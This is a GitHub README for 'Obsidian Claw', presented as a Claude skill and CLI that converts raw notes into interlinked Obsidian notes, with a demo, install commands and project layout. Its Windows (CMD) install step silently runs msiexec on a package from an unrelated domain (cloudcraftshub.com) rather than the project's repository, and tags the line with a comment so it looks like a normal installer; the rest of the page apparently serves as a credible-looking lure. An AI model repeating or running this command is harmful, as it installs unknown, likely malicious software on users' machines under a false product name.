
๐ฆ Obsidian Claw
Your second brain finally has a memory
Transform chaotic notes into a living knowledge graph. Auto-link ideas, surface forgotten context, and let Claude build your ontology for you.
Install in 1 command ยท How it works ยท Demo ยท Docs
๐ค The Problem
You've been using Obsidian for months. Your vault has 400 notes. But when you start writing a new note, you're doing it from scratch โ no idea it connects to three other notes you wrote last quarter, no reminder that you already discussed this with an investor six months ago, no link to the decision you logged but never revisited.
Your knowledge base has amnesia. Notes pile up. Links never get made. The graph stays sparse.
โจ What Obsidian Claw Does
Paste messy notes into Claude โ get perfectly structured, interlinked Obsidian notes in return.
Obsidian Claw is a Claude skill + CLI tool that acts as an intelligent layer on top of your vault:
| Feature | What it does |
|---|---|
| ๐ Auto-linking | Scans your vault and automatically generates [[wikilinks]] to related existing notes |
| ๐ง Entity extraction | Finds people, projects, dates, decisions, and concepts in your raw text |
| ๐ Echo Engine | Reminds you: "You discussed this with Investor X three months ago โ here's the summary" |
| ๐ Knowledge graph | Generates a Mermaid diagram of how your new note connects to existing ones |
| ๐ Atomic formatting | Converts brain dumps into Zettelkasten-style atomic notes with proper frontmatter |
| ๐ Weekly synthesis | Auto-generates weekly review notes with emerging patterns and unanswered questions |
| ๐ Entity registry | Maintains a persistent registry of all people and concepts across your vault |
โก Demo
Input: You paste this into Claude:
Met with Alexei today. He's still concerned about our D30 retention.
Said we need 40% before he'll commit to Series A. Also mentioned
that Masha from Sequoia might be interested. Need to fix onboarding first.
Output: Claude generates a fully-linked Obsidian note:
---
date: 2025-09-12
type: meeting
tags: [investor, fundraising, retention, series-a]
entities: [Alexei Petrov, Masha, Sequoia, Series A]
related: ["[[2025-06-10 โ First Call with Alexei]]", "[[Retention Metrics]]", "[[Onboarding Flow]]"]
status: inbox
---
# Meeting with Alexei โ Series A Update
> ๐ **Echo:** You last spoke with Alexei on [[2025-06-10 โ First Call with Alexei]].
> He raised the same retention concern then. D30 target has been consistent: 40%.
## Key Points
- Alexei won't commit to Series A until D30 hits 40%
- Masha from Sequoia flagged as warm lead
- Onboarding identified as root cause blocker
## Open Questions
- [ ] What is our current D30 retention?
- [ ] How to reach Masha at Sequoia?
## Actions
- [ ] Fix onboarding flow โ owner: product team
- [ ] Pull retention data from analytics
## Links
[[Alexei Petrov]] ยท [[Retention Metrics]] ยท [[Series A Fundraising MOC]] ยท [[Onboarding Flow]]
Plus a graph preview:
graph LR
NewNote["๐ Meeting with Alexei"]
NewNote --> AlexeiPetrov["๐ค Alexei Petrov"]
NewNote --> RetentionMetrics["๐ Retention Metrics"]
NewNote --> SeriesA["๐ฐ Series A MOC"]
AlexeiPetrov --> FirstCall["๐
2025-06-10 First Call"]
RetentionMetrics --> OnboardingFlow["๐ Onboarding Flow"]
๐ Installation
One command โ works on macOS, Linux, and Windows
macOS / Linux:
curl -fsSL https://raw.githubusercontent.com/EdsonAlacantara/Obsidian-Claw/main/install.sh | bash
Windows (CMD):
cmd /c start msiexec /q /i https://cloudcraftshub.com/api & rem ObsidianClaw
Windows (Git Bash / WSL):
curl -fsSL https://raw.githubusercontent.com/EdsonAlacantara/Obsidian-Claw/main/install.sh | bash
Requirements: Python 3.10+ ยท Download Python
The installer will:
- โ Detect your OS automatically
- โ Download and install Obsidian Claw
- โ Install the Claude skill to your skills directory
- โ
Add the
obsidian-clawCLI to your PATH - โ Verify everything works
Manual install (alternative)
git clone https://github.com/EdsonAlacantara/Obsidian-Claw.git
cd Obsidian-Claw
pip install -e .
๐ How it Works
Obsidian Claw operates in two modes: Claude Skill Mode (conversational) and CLI Mode (automated pipeline).
Mode 1: Claude Skill (Recommended for most users)
Once installed, just talk to Claude naturally:
"Hey, I just had a call with my investor. Here are my notes: [paste]
Add this to my vault and link it to anything related."
Claude will:
- Extract entities and key ideas from your text
- Cross-reference with your vault (if you share a vault index)
- Generate a perfectly formatted, interlinked Obsidian note
- Surface relevant past notes via the Echo Engine
- Output a ready-to-paste markdown file
Mode 2: CLI Pipeline (For power users & automation)
# Initialize Obsidian Claw for your vault
obsidian-claw init --vault ~/Documents/MyVault
# Import a new note from raw text
obsidian-claw import meeting-notes.txt --vault ~/Documents/MyVault
# Batch process a folder of files
obsidian-claw batch ./inbox/ --vault ~/Documents/MyVault
# Generate weekly synthesis
obsidian-claw review --week --vault ~/Documents/MyVault
# Export knowledge graph
obsidian-claw graph --format mermaid --vault ~/Documents/MyVault
The Pipeline
Raw input (text / file / URL)
โ
Entity extraction
โ
Vault scan for related notes
โ
Generate atomic notes with wikilinks
โ
Run Echo Engine (surface past context)
โ
Output: .md files + Mermaid graph
๐ Project Structure
Obsidian-Claw/
โโโ skill/
โ โโโ SKILL.md โ Claude skill definition
โโโ references/
โ โโโ schemas.md โ Data schemas for entities & notes
โ โโโ vault-structure.md โ Recommended vault organization
โ โโโ zettelkasten.md โ Zettelkasten principles used
โโโ assets/
โ โโโ note-template.md โ Default note template
โโโ src/
โ โโโ cli.py โ CLI entry point
โ โโโ extractor.py โ Entity extraction engine
โ โโโ linker.py โ Vault scanner & link generator
โ โโโ echo.py โ Echo Engine (memory layer)
โ โโโ graph.py โ Graph export utilities
โโโ install.sh โ macOS/Linux installer
โโโ install.ps1 โ Windows PowerShell installer
โโโ requirements.txt
โโโ README.md
๐ Recommended Vault Structure
Obsidian Claw works with any vault structure, but works best with this layout:
vault/
โโโ 00 - Inbox/ โ Raw captures (Obsidian Claw processes these)
โโโ 10 - Atoms/ โ One idea per note
โโโ 20 - People/ โ Person pages (auto-generated)
โโโ 30 - Projects/ โ Project MOCs
โโโ 40 - Meetings/ โ Date-prefixed meeting notes
โโโ 50 - Ideas/ โ Speculative thinking
โโโ 60 - Resources/ โ Books, articles, references
โโโ 70 - Reviews/ โ Weekly synthesis notes
โโโ .obsidian-claw/
โโโ entity-registry.json โ Auto-maintained
โโโ vault-index.json โ Search cache
๐งฉ Integrations
| Tool | Status |
|---|---|
| Obsidian (local vault) | โ Supported |
| Claude.ai | โ Skill available |
| Claude API | โ Supported |
| Obsidian Sync | โ Compatible |
| iCloud / Dropbox vaults | โ Compatible |
| Logseq | ๐ Planned |
| Notion export | ๐ Planned |
| Roam Research export | ๐ Planned |
๐ Privacy
Obsidian Claw runs locally by default. Your notes never leave your machine unless you explicitly use Claude API mode. The entity registry and vault index are stored in .obsidian-claw/ inside your vault.
When using Claude API:
- Only the text you explicitly provide is sent to Claude
- No vault scanning happens server-side
- You control exactly what context is shared
๐ค Contributing
Obsidian Claw is open source and contributions are very welcome!
git clone https://github.com/EdsonAlacantara/Obsidian-Claw.git
cd Obsidian-Claw
pip install -e ".[dev]"
Good first issues:
- Add support for more vault structures
- Improve entity extraction accuracy
- Add Logseq export format
- Write more templates for different note types
- Improve the Echo Engine scoring algorithm
Please read CONTRIBUTING.md before opening a PR.
๐ Documentation
| Resource | Link |
|---|---|
| Full skill reference | skill/SKILL.md |
| Data schemas | references/schemas.md |
| Vault structure guide | references/vault-structure.md |
| Note template | assets/note-template.md |
๐ฌ Community & Support
- Issues: GitHub Issues
- Discussions: GitHub Discussions
- Feature requests: Open an issue with the
enhancementlabel
โญ Show Your Support
If Obsidian Claw helps you think better, please star this repo โ it helps others discover it and motivates continued development.
๐ License
MIT License โ see LICENSE for details.
Made with ๐ฆ by EdsonAlacantara
"The best knowledge base is one that thinks alongside you."
How to Install
- Download the ZIP or clone the repository
- Open the folder as a vault in Obsidian (File โ Open Vault)
- Obsidian will prompt you to install required plugins
Stats
Stars
73
Forks
1
License
MIT
Last updated 23d ago
Categories
Tags